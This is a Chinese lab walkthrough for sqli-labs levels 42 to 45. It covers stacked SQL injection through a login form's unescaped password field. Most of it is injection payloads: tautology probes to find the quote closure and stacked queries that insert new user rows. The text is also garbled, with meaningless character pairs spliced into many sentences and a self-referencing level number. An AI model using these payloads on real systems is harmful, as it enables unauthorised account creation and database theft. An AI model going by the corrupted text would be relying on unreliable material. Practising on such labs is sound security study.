Less 42
基于存儲(chǔ)_POST_單引號(hào)_字符型_堆疊注入
0x01. 源碼分析
看著和 Less 24 一樣味廊,是一個(gè)相對(duì)完整的網(wǎng)站,實(shí)際上不只少了點(diǎn)什么…
沒(méi)有忘記密碼和注冊(cè)功能…一樣的硬核扛禽。
登錄界面源碼:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
修改密碼源碼:
$username = $_SESSION["username"];
$curr_pass = mysql_real_escape_string($_POST['current_password']);
$pass = mysql_real_escape_string($_POST['password']);
$re_pass = mysql_real_escape_string($_POST['re_password']);
因?yàn)闆](méi)有注冊(cè)功能,所以登錄成功后的修改密碼便沒(méi)有什么作用赞赖,不能像 Less 24 一樣構(gòu)造用戶名進(jìn)行平行越權(quán)甜害。所以不用考慮在更新密碼處進(jìn)行注入,這關(guān)和二次注入的思路是不一樣的卑硫。
二次注入即update
的數(shù)據(jù)(這關(guān)經(jīng)過(guò)mysql_real_escape_string()
處理)徒恋,存入到數(shù)據(jù)庫(kù)當(dāng)中,在下一次select
調(diào)用的時(shí)候發(fā)揮作用欢伏。詳細(xì)可參考 Less 24入挣。
0x02. 注入過(guò)程
這里網(wǎng)上的大部分包括《注入天書(shū)》只寫(xiě)了如何創(chuàng)建與刪除一個(gè)表,感覺(jué)并沒(méi)有用硝拧。
這里仍像 Less 38 - Less 41 一樣径筏,創(chuàng)建新的用戶信息(即插入數(shù)據(jù) / 注冊(cè))。
因有 MySQL 報(bào)錯(cuò)信息障陶,可以看出是單引號(hào)閉合滋恬。
login_user=admin&login_password=1';insert+into+users+values(42,'Less42','Less42')--+
接下來(lái)就可以利用盲注腳本跑整個(gè)數(shù)據(jù)庫(kù)的信息了(注意過(guò)濾)。
Less 43
基于存儲(chǔ)_POST_單引號(hào)_小括號(hào)_字符型_堆疊注入
與 Less 42 相似抱究,有 MySQL 報(bào)錯(cuò)信息恢氯。
login_user=admin&login_password=1');insert+into+users+values(43,'Less43','Less43')--+
Less 44
基于存儲(chǔ)_POST_單引號(hào)_字符型_盲注_堆疊注入
除了沒(méi)有 MySQL 報(bào)錯(cuò)信息,其他的沒(méi)有變化媳维。
當(dāng) POST 沒(méi)有報(bào)錯(cuò)回顯時(shí)酿雪,判斷查詢語(yǔ)句就需要構(gòu)造永真條件同化登錄失敗與查詢出錯(cuò),通過(guò)返回的圖片不同來(lái)確定是否符合查詢語(yǔ)句閉合的條件侄刽,參考 Less 15指黎。
login_user=admin&login_password=1 or 1=1--+
login_user=admin&login_password=1' or 1=1--+
login_user=admin&login_password=1" or 1=1--+
login_user=admin&login_password=1') or 1=1--+
login_user=admin&login_password=1") or 1=1--+
得出為單引號(hào)閉合:
login_user=admin&login_password=1';insert into users values(44,'Less44','Less44')--+
Less 45
基于存儲(chǔ)_POST_單引號(hào)_小括號(hào)_字符型_盲注_堆疊注入
同 Less 45,閉合增加了小括號(hào)州丹。
login_user=admin&login_password=1');insert into users values(45,'Less45','Less45')--+